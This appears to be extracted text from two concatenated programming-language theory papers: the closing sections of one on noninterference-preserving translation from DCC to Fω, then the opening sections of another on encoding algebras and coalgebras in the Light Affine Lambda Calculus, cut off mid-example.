implement dependency calculi in rich general-purpose languages—
or compile them to intermediate representations—that may be more
expressive than the source language. Shikuma and Igarashi’s inverse
translation relies on full beta-reduction and “commuting conversions”
that they add to their source and target operational semantics. This
reduces terms to a normal form that satisfies a subformula property:
if the term has type s then all of its subterms have a type that
appears within s. Also, their inverse translation cannot be extended to
languages with recursion since it relies on “normalization” of terms.
Our rewriting rule for stuck terms is similar to their commuting
conversions but our back-translation does not demand any changes
to the standard call-by-name operational semantics of the source
or target, and it is designed to be easily extended to a setting with
recursion, following the proposal by Ahmed and Blume [5].

Fully Abstract Translation As noted earlier, our key result (The-
orem 7.7) is reminiscent of full abstraction. Proving full abstraction
is particularly difficult when the target language is more expressive
than the source language, as is the case with Fω and DCC. Our
back-translation is based on Ahmed and Blume’s [5] but is more

4 Much prior work resorts to bringing the source and target languages into
closer correspondence in order to prove full abstraction; see Ahmed and
Blume [5] for a discussion.
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challenging because our target language is not in CPS form as theirs
is. Other work on proving translations fully abstract takes advan-
tage of the source and target language being syntactically identical,
though proving that the transformation preserves equivalence is
still a nontrivial result. For instance, Ahmed and Blume [4] prove
that typed closure conversion for System F with recursive types is
fully abstract in this way. Fournet et al. [9] prove that a translation
from a λ-calculus with references and exceptions to an encoding of
JavaScript in the source language is fully abstract.

Recursion Like Tse and Zdancewic, we have focused on the
terminating fragment of DCC, leaving recursion as future work.
One can extend DCC with recursion by adding pointed types and
a fix operator (as in the original version of DCC [2]). We foresee
three issues that will need to be addressed. First, the back-translation
would need to be extended to work in the presence of recursion,
which we are fairly confident can be done following the proposal
by Ahmed and Blume [5]. Second, the parametricity condition
(Lemma 6.1), central to our proof of semantics preservation, does
not hold as stated in the presence of effects such as recursion.
To prove a similar lemma in the presence of recursion, our type
translation will have to make use of linear types to ensure that the
continuation is used exactly once as in the work on linearly-used
continuations [6]. Third, in the presence of recursion we would
need to use logical relations that are step indexed [3]. Our proof
of semantics preservation relies on transitivity across the cross-
language and target logical relations, but it is not known how to
prove transitivity for cross-language step-indexed logical relations.
This can be handled by defining a multi-language semantics [5,
12, 14] for DCC and Fω which would then allow us work with the
definition of contextual equivalence for the multi-language whenever
transitivity is required. This strategy also has the advantage of
scaling to correctness of multi-pass compilers [14], which is not the
case for cross-language logical relations.

Conclusion It is folklore that noninterference can be encoded via
parametricity but we are unaware of any work that successfully
shows how to do that. By expressing source-level noninterference
using target-level parametricity, we can implement security-typed
features in a more standard (polymorphic) typed language. Fur-
thermore, ensuring that compilation preserves noninterference is
important if code compiled from security-typed languages is to
be linked with target components compiled from other source lan-
guages, or those written directly in the target language. We give a
translation from DCC to Fω that leverages first-order and higher-
order parametricity to encode the key property required to ensure
that the translation preserves source-level noninterference.

Several elements of our translation and proof techniques should
be applicable to security-preserving and fully abstract compilation.
We provide a more general back-translation technique as compared
to prior work; we expect this to be useful for proving translations
fully abstract. We show how to encode DCC’s security lattice and
protection judgment using our protection ADT at the target level; a
similar strategy could be used to encode other specialized security
or safety properties captured by the source type system. Finally, we
demonstrate the use of an open logical relation at the target-level to
prove parametricity while also accommodating back-translation of
target terms that need to be linked with such ADTs.
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Abstract
Algebra and coalgebra are widely used to model data types in
functional programming languages and proof assistants. Their use
permits to better structure the computations and also to enhance the
expressivity of a language or of a proof system.

Interestingly, parametric polymorphism à la System F provides
a way to encode algebras and coalgebras in strongly normalizing
languages without losing the good logical properties of the calcu-
lus. Even if these encodings are sometimes unsatisfying because
they provide only limited forms of algebras and coalgebras, they
give insights on the expressivity of System F in terms of functions
that we can program in it.

With the goal of contributing to a better understanding of the
expressivity of Implicit Computational Complexity systems, we
study the problem of defining algebras and coalgebras in the Light
Affine Lambda Calculus, a system characterizing the complexity
class FPTIME. This system limits the computational complexity
of programs but it also limits the ways we can use parametric
polymorphism, and in general the way we can write our programs.

We show here that while the restrictions imposed by the Light
Affine Lambda Calculus pose some issues to the standard System
F encodings, they still permit to encode some form of algebra and
coalgebra. Using the algebra encoding one can define in the Light
Affine Lambda Calculus the traditional inductive types. Unfortu-
nately, the corresponding coalgebra encoding permits only a very
limited form of coinductive data types. To extend this class we
study an extension of the Light Affine Lambda Calculus by dis-
tributive laws for the modality §. This extension has been discussed
but not studied before.

Categories and Subject Descriptors D.3.3 [Programming Lan-
guages]: Language Constructs and Features—Data types and struc-
tures; F.4.1 [Mathematical Logic and Formal Languages]: Math-
ematical Logic—Lambda Calculus and Related Systems.

Keywords implicit computational complexity; algebra and coalge-
bra; light logics

1. Introduction
Algebras and coalgebras Data types shape the style we can use
to write our programs, contributing in this way to determining the
expressivity of a programming language. Algebras and coalgebras

of a functor (see [26] for an extended introduction) are important
tools coming from category theory that are useful to specify data
types in a uniform way. This uniformity has been exploited in the
design of functional programming languages, via the use of abstract
data types. In this particular setting, algebraic types correspond
usually to finite data types and coalgebraic ones correspond to
infinite data types.

Despite the fact that coalgebras correspond to infinite data
types, interestingly algebras and coalgebras can be also added to
languages that are strongly normalizing by preserving the strong
normalization property, as shown by Hagino [23]. Moreover, alge-
bras and coalgebras can also be encoded by using parametric poly-
morphism in strongly normalizing languages as System F as shown
by Reynolds and Plotkin [37], Wraith [42]. Preserving strong nor-
malization corresponds to preserving the consistency property of
the language. It is this last feature that allows the integration of
algebras and coalgebras in proof assistants such as Coq and Agda,
where they can be used to define inductive and coinductive data
types, respectively.

Different notions of algebras and coalgebras can provide differ-
ent forms of recursion and corecursion that can be used to program
algorithms in different ways. Moreover, algebras and coalgebras
also provide some form of induction and coinduction that we can
use to prove program properties. So, algebras and coalgebras are
abstractions that are useful to compare in the abstract the expres-
sivity of distinct languages.

Implicit Computational Complexity (ICC) ICC aims at charac-
terizing complexity classes by means that are independent from
the underlying machine model. A characterization of a complex-
ity class C is traditionally determined by a system S obtained by
restricting the class of proofs of a given logical system or the class
of programs of a given programming language L. In order to char-
acterize C, the system S needs to satisfy two properties: 1) the
evaluation process of proofs or programs of S must lie within the
given complexity class C—this ensures that S is sound with re-
spect to C; 2) any function (or decision problem) in C must be
implementable by a proof or program in S—this ensures that S is
complete with respect to C.

This approach for characterizing complexity classes where all
the functions or problems of the given class C can be encoded by
some proof or program in S is traditionally referred to as extension-
ally complete. On the other hand, an intensionally complete charac-
terization requires that all the proofs or programs that can be eval-
uated within the complexity class C must lie in the restriction S.
From a programmer’s perspective intensionally complete charac-
terizations are certainly preferable to extensionally complete ones
since they capture all the algorithms of the languageL that lie in the
class C. However, providing intensional characterizations of well-
known and interesting complexity classes is in general problematic:
for polynomial time the problem of providing an intensional char-
acterization is Σ0

2-complete in the arithmetical hierarchy—and so
undecidable—as proved by Hájek [24].
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This contrast between extensional and intensional completeness
has motivated researchers in ICC in the search of restrictions to
logical systems and programming languages that are more and
more expressive in terms of proofs or programs in L that they
can fit. This is usually achieved in two ways: by weakening the
restrictions, and by enriching the language with new programming
constructs. See the survey by Hofmann [25] for more information.

Light Logics The Light Logics [21, 27] approach to ICC is based
on the idea of providing characterizations of complexity classes by
means of subsystems of Girard’s (second order) Linear Logic [20].
Proofs of second order linear logic can be seen through the proof-
as-programs correspondence as terms of System F typed under a
refined typing discipline using the contraction and weakening rules
in a more principled way via the exponential modality !.

Following the light logic approach one can design type systems
for the lambda calculus and its extensions where only programs
that are in a particular computational complexity class can be as-
signed a type. This approach has been used to provide characteri-
zations of several complexity classes like FPTIME [2, 5, 14, 40],
PSPACE [16], LOGSPACE [39], NP [15, 32], P/Poly [33], etc.

A bird’s eye view on Light Affine Logic One of the most success-
ful examples of light logic is certainly Light Affine Logic (LAL),
the affine version of Light Linear Logic (LLL). Similarly to LLL,
LAL provides a characterization of the class FPTIME by limiting
the way the modality ! is used in proofs and by introducing a new
modality § to compensate for some of these limitations. Roughly,
the modality ! is used as a marker for objects that can be iterated,
the modality § is used as a marker of objects that are the result of
an iteration and cannot be iterated anymore. The combined use of
these two modalities provides a way to limit the iterations that one
can write in proofs, and so the complexity of the system.

More precisely, LAL enforces a design principle named strati-
fication by adopting the following rules for modalities1:

Γ ` τ Γ ⊆ {σ}
!Γ `!τ

(!)
Γ, !τ, !τ ` σ

Γ, !τ ` σ (C)
Γ,∆ ` τ

!Γ, §∆ ` §τ (§)

The stratification is obtained by limiting the introduction of the two
modalities to the two rules (!) and (§), respectively. These rules
can be seen as boxes that stratify the proofs. In other words, strat-
ification corresponds roughly to ruling out the logical principles
!A ( A and !A (!!A but allowing the principles !A ( §A.
Enforcing stratification is not sufficient to characterize polynomial
time—it provides a characterization of Elementary time [21]. For
this reason, LAL further restrict the power of the modality ! by
requiring that the environment Γ in the rule (!) has at most one
assumption, this is the meaning of the premise Γ ⊆ {σ}. This re-
quirement corresponds roughly to ruling out the logical principles
!A⊗!B (!(A ⊗ B) and only allowing instead the restricted prin-
ciple !A⊗!B ( §(A⊗B).

Despite their rather technical definitions, LLL and LAL provide
natural and quite expressive characterizations of the class FPTIME.
For this reason, their principles have been used to design a lambda
calculus [40], a type system [5] and an extended language [6]
for polynomial time computations. In these languages one can
program several natural polynomial time algorithms over different
data structures.

Our contribution In this work we study the definability of alge-
bras and coalgebras in the Linear Affine Lambda Calculus (LALC),
a term language for LAL, with the aim of better understanding the
expressivity of LALC with respect to the definability of inductive

1 We present here the rules of the logic in sequent calculus. The correspond-
ing typing rules will then by presented in Section 3.

and coinductive data structures, in particular with a focus on infinite
data structures like streams.

Since LALC can be seen as a subsystem of System F, we
study how to adapt the encoding of algebras and coalgebras in
System F to the case of LALC. Not surprisingly, the standard
System F encoding from Wraith [42] cannot be straightforwardly
adapted to LALC because of the stratification principle. Indeed
variable duplication in the terms enforces the modalities ! and § to
appear. The presence of these modalities enforces types encoding
initial algebras and final coalgebras that differ from the ones of
the standard encoding. The initial algebra for the functor F can be
encoded in LALC by terms of type

∀X.!(F (X) ( X) ( §X
The final coalgebra for the same functor F can instead be encoded
by terms of type

∃X.!(X ( F (X))⊗ §X
Initial algebras and final coalgebras definable in System F are only
weak [37, 42]. In the case of LALC the two types above provide an
even more restricted class of initial algebras and final coalgebras:
intuitively, the ones that behave well under § as a marker for
iteration. These definitions will be made precise in Section 4 and
Section 5, respectively. A further restriction comes from the fact
that to obtain these classes of algebras and coalgebras we need to
consider only functors that behave well with respect to the modality
§. More precisely, for initial algebras we need functors that left-
distribute over §, i.e. functors F such that F (§X) ( §F (X).
Conversely, for final algebras we need functors that right-distribute
over §, i.e. functors F such that §F (X) ( F (§X).

Functors that left-distribute over § are quite common in LALC
and so we can define several standard inductive data types. Un-
fortunately, only few functors right-distribute over §. In particu-
lar, we cannot encode standard coinductive data structures. The
main reason is that the modality § does not distribute with respect
to the connectives tensor and plus. More precisely, in LALC we
cannot derive the distributive2 laws §(A ⊗ B) ( §A ⊗ §B and
§(A⊕B) ( §A⊕§B for genericA andB. We overcome this sit-
uation by adding terms for these distributive laws to LALC. Thanks
to this extension we are able to write programs working on infinite
streams of booleans (or of any finite data type) and other infinite
data types.

Quite interestingly, Girard [19, §16.5.3] remarked that adding
the principle §(A⊕B) ( §A⊕ §B (“supposedly doing what one
thinks”) to LAL would bring to the absurd situation where we can
decide in linear time all the polynomial time problems. The infor-
mal argument is that this principle would allow us to extract the
output bit of a decision problem without the need of computing it.
A discussion on this argument has also been used by Baillot and
Mazza [4] to explain one of the differences between LAL and their
Linear Logic by Level. Here we show that adding the distributivity
principle §(A ⊕ B) ( §A ⊕ §B with a computational counter-
part in the term language does not bring to the absurd situation
prospected by Girard. On the contrary, we show that the full evalu-
ation of programs containing this distributivity principle requires a
more complex reduction strategy than the dept-by-depth one tradi-
tionally used for LAL [21]. This is also reflected in the polynomial
time soundness proof for LAL extended with distributions that we
provide in Section 6. Let us stress that our argument is not necessar-
ily in contradiction with Girard’s argument because the latter relies
on the informal condition “supposedly doing what one thinks” and
one can think to introduce the distributivity principles as an identity

2 We use here the term “distributive” because we think of both modalities
and type constructors as operations. In the literature, other people have
preferred the term “commutative”.
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§(A⊕B) = §A⊕§B without computational content. In this case,
the absurd situation would indeed arise.

2. Algebras and Coalgebras in System F
The starting point of our work is the encoding of weak initial F -
algebras and weak final F -coalgebras in System F as described by
Wraith [42] and Freyd [11] (see also Wadler [41]). Let us start by
reviewing the definition of F -algebras and F -coalgebras.

Definition 1 (F -Algebra and F -Coalgebra). Given a category C
and an endofunctor F : C → C:

• a F -algebra is a pair (A, a) of an object A ∈ C together with a
C-morphism a : F (A)→ A,
• a F -coalgebra is a pair (A, a) of an objectA ∈ C together with

a C-morphism a : A→ F (A).

Algebras and coalgebras provide the basic syntactic structure
that is needed in order to define data types.

We can define two categories Alg-F and Coalg-F whose ob-
jects are F -algebras and F -coalgebras, respectively, and whose
morphisms are defined as follows.

Definition 2. A F -algebra homomorphism from the F -algebra
(A, a) to the F -algebra (B, b) is a morphism f : A → B making
the following diagram commute:

F (A)

a

��

F (f) // F (B)

b

��
A

f
// B

A F -coalgebra homomorphism from the F -coalgebra (A, a) to
the F -coalgebra (B, b) is a morphism f : A → B making the
following diagram commute:

A

a

��

f // B

b

��
F (A)

F (f)
// F (B)

To define the traditional inductive and coinductive data types we
also need the notions of initial algebras and final coalgebras.

Definition 3 (Initial algebra and final coalgebra). A F -algebra
(A, a) is initial if for each F -algebra (B, b), there exists a unique
F -algebra homomorphism f : A → B. A F -coalgebra (A, a)
is final if for each F -coalgebra (B, b), there exists a unique F -
coalgebra homomorphism f : B → A.

If the uniqueness condition is not met then the F -algebra (resp.
F -coalgebra) is only weakly initial (resp. weakly final).

An initial F -algebra is an initial object in the category Alg-F .
Conversely, a final F -coalgebra is a terminal object in the category
Coalg-F . In the definition above, the existence of a homomorphism
provides a way to build objects by (co)iteration; this corresponds to
have the ability to define by iteration elements in type fixpoints.
Conversely, the uniqueness of such homomorphism provides a way
to prove properties of these elements by (co)induction; this is some-
thing that type fixpoint does not necessarily provide.

Example 4. Consider the functor F defined by F (X) = 1 + X .
The pair (N, [0, suc]) consisting in the set of natural numbers N
together with the morphism [0, suc] : 1 + N → N, defined as the
coproduct of 0 : 1→ N and suc : N→ N, is an F -algebra.

Consider the endofunctor F over the category Set defined by
F (X) = A × X , for some set A. The pair (Aω, 〈head, tail〉)
where Aω is the set of infinite lists over A and the morphism
〈head, tail〉 : Aω → A × Aω is defined by head : Aω → A
and tail : Aω → Aω , is a final F -coalgebra.

Encoding Weak Initial Algebras and Weak Final Coalgebras
We here assume some familiarity with System F and existential
types (see [22] and [35]). A functor F (X) is definable in System F
if F (X) is a type scheme mapping every type A to the type F (A),
and if there exists a term F mapping every term of type A→ B to
a term of type F (A) → F (B) and such that it preserves identity
and composition. We say that a functor F (X) is covariant if the
variable X only appears in covariant positions.

It is a well known result that for any covariant functor F (X)
that is definable in System F we can define an algebra that is weakly
initial and a coalgebra that is weakly final [26]. This corresponds
to defining the least and the greatest fixpoint of F (X) as a type
scheme.

Proposition 5 (Weak Initial Algebra). Let F (X) be a covariant
functor definable in System F and T = ∀X.(F (X) → X) → X .
Consider the morphisms defined by:

inT : F (T )→ T,

inT = λs : F (T ).ΛX.λk : F (X)→ X.k(F (foldT X k) s),

foldT : ∀X.(F (X)→ X)→ T → X,

foldT = ΛX.λk : F (X)→ X.λt : T.tX k.

Then, (T, inT ) is a weak initial F -algebra: for every F -algebra
(A, g : F (A) → A) there is an F -homomorphism h : T → A
defined as h = foldT Ag.

We will sometimes write T as µX.F (X) when we want to
stress the underlying functor F and the fact that T corresponds to
the least fixpoint of F .

Proposition 6 (Weak Final Coalgebra). Let F be a covariant
functor definable in System F and T = ∃X.(X → F (X)) × X .
Consider the morphisms defined by:

outT : T → F (T ),

outT = λt : T.unpack t as (X, z) in

let (k, x) = z in F(unfoldT X k)(k x),

unfoldT : ∀X.(X → F (X))→ X → T,

unfoldT = ΛX.λk : X → F (X).λx : X.pack ((k, x), X) asT.

Then, (T, outT ) is a weak finalF -coalgebra: for everyF -coalgebra
(A, g : A → F (A)) there is a F -homomorphism h : A → T de-
fined as h = unfoldT Ag.

Similarly to the case ofF -algebras, we will write T as νX.F (X)
when we want to stress the underlying functor F and the fact that
T corresponds to the greatest fixpoint of F .

Example 7. Let us consider a functor defined on types as F (X) =
1 +X and on terms as:

λf : X → Y.λx : 1 +X.case x of

{inj1+X
0 (z)→ inj

1+Y
0 (()), inj1+X

1 (z)→ inj
1+Y
1 (f z) }.

Let N = µX.F (X). Proposition 5 ensures that (N, inN) is a
weak initial algebra: the weak initial algebra of natural numbers.
In particular, we can define 0 = inN(inj1+N

0 (())), n+ 1 =
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inN(inj1+N
1 (n)), and more in general the successor function as

succ = λx.inN(inj1+N
1 (x)). We can use the fact that N is a weak

initial algebra to define an addition function. We just need to con-
sider a term like the following (we omit some type for conciseness):

g = λx : 1 + (N→ N).case x of

{inj0(z)→ λy : N.y, inj1(z)→ λy : N.succ(z y) }.
Then, Proposition 5 ensures that we can define add as foldN (N→
N) g.

Example 8. Let us consider a functor defined on types as F (X) =
N×X and on terms as:

λf : X → Y.λx : N × X.let 〈x1, x2〉 = x in 〈x1, f x2〉.
Let Nω = νX.F (X). Proposition 5 ensures that (Nω, outNω ) is
a weak final coalgebra: the weak final coalgebra of streams over
natural numbers. We can define the usual operations on streams as
head = λx : Nω.let 〈x1, x2〉 = (outNω x) in x1, and tail =
λx : Nω.let 〈x1, x2〉 = (outNω x) in x2. We can use the fact that
Nω is a weak final coalgebra to define streams. As an example we
can define a constant stream of ks by using a function:

g = λx : 1.let () = x in 〈k, ()〉.
Proposition 6 ensures that we can define const = unfoldNω 1 g().
Similarly, we can define a function that extracts from a stream the
elements in even position. This time we need a function:

g = λx : Nω.〈hd x, tl (tl x)〉.
Proposition 6 ensures that we can define even = unfoldNω Nω g.

3. The Light Affine Lambda Calculus
The Light Affine Lambda Calculus is the affine version of the Light
Linear Lambda Calculus [40] and provide a concrete syntax for
Intuitionistic Light Affine Logic [1].

3.1 The Language
The syntax of the Light Affine Lambda Calculus (LALC) is in-
spired by the restrictions provided by Light Affine Logic. The fo-
cus of our work is on the expressivity of the calculus rather than
on other properties, so to make our examples more clear we adopt
an explicitly typed version of LALC. The types and the terms of
LALC are presented in Figure 1. As basic type we consider only
the multiplicative unit 1, while as type constructors we consider
the linear implication (, the tensor product⊗, and the additive dis-
junction⊕. Moreover, we have type variablesX and type universal
and existential quantifications: ∀X.τ , and ∃X.τ . We also have two
modalities, ! and §. The connectives ⊗, ⊕ and the existential quan-
tification ∃X.τ can be defined by using only the linear implication
(, the modalities !, §, and the universal quantification ∀ but we
prefer here to consider them as primitive. The reason behind this
choice is that in the second part of the paper we will introduce ex-
plicit rules for distributing the § modality over ⊗ and ⊕, so it is
natural to consider them as primitive.

Every type constructor comes equipped with a term constructor
and a term destructor. Since we consider explicitly typed terms we
avoid confusions by denoting !̂ and §̂ the term level constructors
for the modalities ! and §, respectively. The semantics of LALC is
defined in terms of the reduction relation→ described in Figure 2
where we use the notation [M/x] for the usual capture avoiding term
substitution, the notation [τ/X] for the usual capture avoiding type
substitution, and †, ‡ to denote the modalities ! or §.

We have three kinds of reduction rules: the exponential rules de-
scribe the interaction of a constructor and a destructor for modali-
ties, the beta rules describe instead the interaction of a constructor

τ, σ ::= X | 1 | !τ | §τ | τ ⊕ σ | τ ⊗ σ | τ ( σ
| ∀X.τ | ∃X.τ

M, N, L ::= x | () | λx : τ.M | M N | ΛX.M | M τ | !̂M | §̂M
| let §̂x : τ = M in N | let !̂x : τ = M in N
| 〈M, N〉 | let 〈x : τ1, y : τ2〉 = M in N
| pack (M, σ) as τ | unpack M as (X, x) in N
| let () = M in N | injτi (M) |
| case M of {injτ0 (x)→ N|injτ1 (x)→ L}

Figure 1. LALC: grammar for types and terms.

and a destructor for all the other types, the commuting conversion
rules describe the interaction of different destructors. In Figure 2
we have omitted several commuting rules. The number of these
rules is quite high and their behavior is standard. We consider only
two such rules (com-1) and (com-2) as representative of this class.

3.2 Type System
A typing judgment is of the shape Γ ` M : τ , for some typing
environment Γ (an environment assigning types to term variables),
some term M and some type τ . The standard typing rules, inherited
from Light Affine λ-calculus, are given in Figure 3(a) and addi-
tional rules for the extra constructs are given in Figure 3(b). As
usual, this system uses the notion of discharged formulas, which
are expressions of the form [τ ]†. Given a typing environment Γ =
x1 : τ1, . . . , xn : τn, [Γ]† is a notation for the environment
x1 : [τ1]†, . . . xn : [τn]†. Discharged formulas are not types, so
they cannot be abstracted and we do not want them to appear in
final judgments. They are just syntactic artifacts introduced by the
rule (!I) and (§I), used by the rule (C), and eliminated by the
rules (!E) and (§E), respectively. These five rules implement in
a natural deduction style the three sequent calculus LAL rules we
discussed in the introduction and the cut rule on modalities. All the
other rules are the linear versions of the standard System F rules.
We assume a multiplicative management of environments: when
we write Γ,∆ we assume that the set of free variables in Γ and ∆
are disjoint. The only rule that uses in part an additive management
of environments is the rule (⊕E) where we have a sharing of vari-
ables in the two branches of the case construction. We adopt here
the same convention as in Light Linear Logic (LLL) [21] and we
consider a lazy reduction that reduces redexes with variable bound
in the two branches only when the argument is closed.

The polynomial soundness of LALC can be expressed in terms
of the depth d(M) of a term M: the maximal number of nested !̂ or §̂
that can be found in any path of the term syntax tree. Moreover, we
will call depth of a subterm N of M the number of !̂ and §̂ that one
has to cross to reach the root of N starting from the root of M.

3.3 Properties of LALC
LALC provides a characterization of the FPTIME complexity
class. However, it also enjoys standard properties of typed lambda
calculi. In particular, it enjoys subject reduction.

Theorem 9 (Subject Reduction). Let Γ ` M : τ and M → N, then
Γ ` N : τ .

In fact, LALC enjoys also a stronger version of subject reduc-
tion that ensures not only that types are preserved, but also that a
reduction M → N corresponds to a rewriting of the type derivation
of M in the type derivation of N.

Polynomial time soundness for LALC can be stated as follow:

Theorem 10 (Polynomial Time Soundness). Consider a term Γ `
M : τ . Then, M can be reduced to normal form by a Turing Machine
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(λx : τ.M) N→ M[N/x] (beta-λ)
let () = () in M→ M (beta-1)
(ΛX.M) τ → M[τ/X] (beta-∀)
case injτi (M) of {injτ0 (x)→ N0|injτ1 (x)→ N1} → Ni[M/x] (beta-⊕)
let 〈x : τ, y : σ〉 = 〈N0, N1〉 in M→ M[N0/x, N1/y] (beta-⊗)
unpack (pack (M, σ) as ∃X.τ) as (X, x) in N→ N[M/x, σ/X] (beta-∃)

let §̂x : §τ = §̂N in M→ M[N/x] (exp-§̂)
let !̂x :!τ = !̂N in M→ M[N/x] (exp-̂!)

(let †̂x : †τ = N in M)L→ let †̂x : †τ = N in (ML) (com-1)
let †̂y : †τ = (let ‡̂x : ‡σ = N in L) in M→ let ‡̂x : ‡σ = N in (let †̂y : †τ = L in M) (com-2)

Figure 2. Light Affine Lambda Calculus reduction rules.

working in time polynomial in |M| with exponent proportional to
d(M).

The original proof of this theorem by Girard [21] as well as
other subsequent proofs [2, 40] are based on three main observa-
tions about reductions in LALC:

1. reductions cannot increase the depth of a term,

2. a beta reduction at depth i decreases the size of the term at depth
i and cannot increase the size of the term at other depths,

3. any sequence of exponential reduction at depth i can only
square the size of the term at every depth j greater than i.

These properties suggest a depth-by-depth reduction strategy
whose length is polynomial in the size of the term and exponen-
tial in the depth. So, we have a polynomial bound when the depth
is fixed. A key argument for the use of depth-by-depth reduction
is that this reduction is enough to reach normal forms. This will
not be the case for the extension to LALC that we will present in
Section 6.

For expressing the FPTIME completeness statement for LALC
we need a data type B∗ for strings of Booleans that can be easily
defined by a standard Church encoding.

Theorem 11 (FPTIME completeness). For every polynomial time
function f : {0, 1}∗ → {0, 1}∗ there exists a natural number n
and a term ` f : B∗ ( §̂nB∗ such that f represents f .

The proof of this statement requires to show that one can pro-
gram in LALC all the polynomial expressions that one can define
data types for Turing Machine’s configurations, and that transitions
between configurations are definable.

4. Algebras in LALC
We want now to adapt the encoding of algebras in System F to the
case of LALC. The first thing that we need is to find a type that
permits to express a weak initial F -algebra. One can consider the
straightforward linear type T = ∀X.(F (X) ( X) ( X but this
is not enough for typing an analog of the term inT that contains a
duplicated variable k. Consequently, modalities are required in the
corresponding type as the duplication in the term inT is needed for
iteration. So, a more natural choice is instead to use the type:

T = ∀X.!(F (X) ( X) ( §X. (1)

Indeed, this type can be seen as the analog of the one used for the
standard Church natural numbers in LALC: ∀X.!(X ( X) (
§(X ( X), see [21]. In this type, the modality ! is a marker for
the duplication of the successor function and the modality §witness
its iteration.

Using this type for assigning types in LALC to terms analog to
the one of Proposition 5 presents two problems. First, the modality

§ in Equation 1—that witnesses iteration—propagates when one
wants to build the F -homomorphism to another F -algebra. This
implies that only a restricted form of weak initial algebras can be
obtained. So, we are able to build the needed F -algebra homomor-
phisms only with F -algebra of the form (§B, g : F (§B) → §B).
There is a second problem: we need the functor F to left-distribute
over §3. This corresponds to requiring the existence of a morphism:

LF : F (§X) ( §F (X).

This technical requirement comes from the fact that the modality
§ propagates due to the iteration, but also from the uniformity im-
posed by the polymorphic encoding. This uniformity corresponds
to requiring that the algebra (§B, g) target of the F -algebra ho-
momorphism comes from an underlying F -algebra (B, f) via the
functoriality of § and the left-distributivity LF of F .

By considering the two requirements, we obtain the following
definition.

Definition 12. Given a functor F , we say that an F -algebra (A, a)
is weakly-initial under § if for every F -algebra of the form (B, f)
there exists an F -algebra (§B, g) and an F -algebra homomor-
phism h : A→ §B making the following diagram commute:

F (A)
F (h) //

a

��

F (§B)

g

��

LF

$$
§F (B)

§f
zz

A
h

// §B

That is, we require the existence of an F -algebra homomor-
phism only for F -algebra of the form (§B, g) that comes from an
underlying F -algebra (B, f) via the functoriality of § and the left-
distributivity LF of F . With these two restrictions in mind we can
now formulate an analog of Proposition 5.

Theorem 13. Let F be a functor definable in LALC that left-
distributes over §, and let T = ∀X.!(F (X) ( X) ( §X .

3 We call this property “distribute” instead of “commute” in order to high-
light the distinction with the standard commuting rules (com-n).
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x : τ ` x : τ
(Ax)

Γ ` M : τ
Γ,∆ ` M : τ

(W )
Γ, x : [τ ]!, y : [τ ]! ` M : σ

Γ, z : [τ ]! ` M[z/x, z/y] : σ
(C)

Γ, x : τ ` M : σ

Γ ` λx : τ.M : τ ( σ
(( I)

Γ ` M : τ ( σ ∆ ` N : τ
Γ,∆ ` MN : σ

(( E)
Γ ` N :!τ ∆, x : [τ ]! ` M : σ

Γ,∆ ` let !̂x : !τ = N in M : σ
(!E)

Γ ` N : §τ ∆, x : [τ ]§ ` M : σ

Γ,∆ ` let §̂x : §τ = N in M : σ
(§E)

Γ ` M : τ Γ ⊆ {x : σ}
[Γ]! ` !̂M :!τ

(!I)
Γ,∆ ` M : τ

[Γ]!, [∆]§ ` §̂M : §τ
(§I)

Γ ` M : τ X /∈ FTV(Γ)

Γ ` ΛX.M : ∀X.τ (∀I)
Γ ` M : ∀X.τ

Γ ` Mσ : τ [σ/X]
(∀E)

(a) standard rules

Γ ` M : τ ∆ ` N : σ
Γ,∆ ` 〈M, N〉 : τ ⊗ σ

(⊗I)
Γ ` M : τ ⊗ σ ∆, x : τ, y : σ ` N : τ ′

Γ,∆ ` let 〈x : τ, y : σ〉 = M in N : τ ′
(⊗E)

Γ ` () : 1
(1I)

Γ ` M : 1 ∆ ` N : τ
Γ,∆ ` let () = M in N : τ

(1E)
Γ ` M : τi

Γ ` inj
τ0⊕τ1
i (M) : τ0 ⊕ τ1

(⊕I)
Γ ` M : τ [σ/X]

Γ ` pack (M, σ) as ∃X.τ : ∃X.τ
(∃I)

Γ ` M : τ0 ⊕ τ1 ∆, x : τ0 ` N0 : τ ∆, x : τ1 ` N1 : τ

Γ,∆ ` case M of {injτ0⊕τ10 (x)→ N0|injτ0⊕τ11 (x)→ N1} : τ
(⊕E)

Γ ` M : ∃X.τ ∆, x : τ ` N : σ

Γ,∆ ` unpack M as (X, x) in N : σ
(∃E)

(b) rules for additional constructions

Figure 3. Typing rules for the Light Affine Lambda Calculus.

Consider the morphisms defined by:

inT : F (T ) ( T,

inT = λs : F (T ).ΛX.λk :!(F (X) ( X).

let !̂y :!(F (X) ( X) = k in

let §̂z : §F (X) = LF (F (foldT X !̂y)s) in §̂(y z),

foldT : ∀X.!(F (X) ( X) ( T ( §X,
foldT = ΛX.λk :!(F (X) ( X).λt : T.tX k.

Then, (T, inT ) is a weakly-initial F -algebra under §: for every
F -algebra (B, f : F (B) ( B) we have an F -algebra (§B, g :
F (§B) → §B) and an F -algebra homomorphism h : T → §B
defined as h = foldT B !̂f .

The situation described by Theorem 13 corresponds to saying
that for every F -algebra (B, f ) the following diagram commutes:

F (T )
F (foldT B !̂f) //

inT

��

F (§B)

g

��

LF

$$
§F (B)

§f
zz

T
foldT B !̂f

// §B

This diagram provides a way to encode the least fixpoint of types,
similarly to what we have for System F, and so to define standard
data types.

Notice that with respect to initial algebras we have now relaxed
both the uniqueness and the existence property.

4.1 Algebra Examples
Before providing examples of algebras, we want to characterize a
large class of functors that left-distribute.

Lemma 14. All the functors built using the following signature
left-distribute over §:

F (X) ::= 1 |X | A | §F (X) | F (X)⊕ F (X) | F (X)⊗ F (X),

provided thatA is a closed type for which there exists a closed term
of type A(!A or type A( §A.

Proof. By induction on F (X).

Thanks to the above lemma we can give a notion of weakly-
initial F -algebra under § to several standard examples.

Example 15. Consider the functor F (X) = 1 ⊕ X . This is the
linear analog of the functor considered in Example 7, definable
by the same term (in the types annotation, implication is replaced
by a linear arrow and + is replaced by ⊕). By Lemma 14, we
have that F left-distributes over §, and so by Theorem 13 we
have that (N, inN) is a weakly-initial F-algebra under §, where by
abuse of notation we again use N to denote µX.F (X). Similarly
to what we did in Example 7, we can define natural numbers as
inhabitants of this type. Noticing that to the term g defined there
we can also give the type F (N ( N) ( (N ( N), we have that
add = foldN (N ( N) !̂g has type N ( §(N ( N).

Example 16. Consider the functor Fn(X) = 1⊕(Bn⊗X) where
Bn is a finite type with n states. The functor Fn(X) is definable by
the term:

λf : X ( Y.λx : Fn(X). case x of

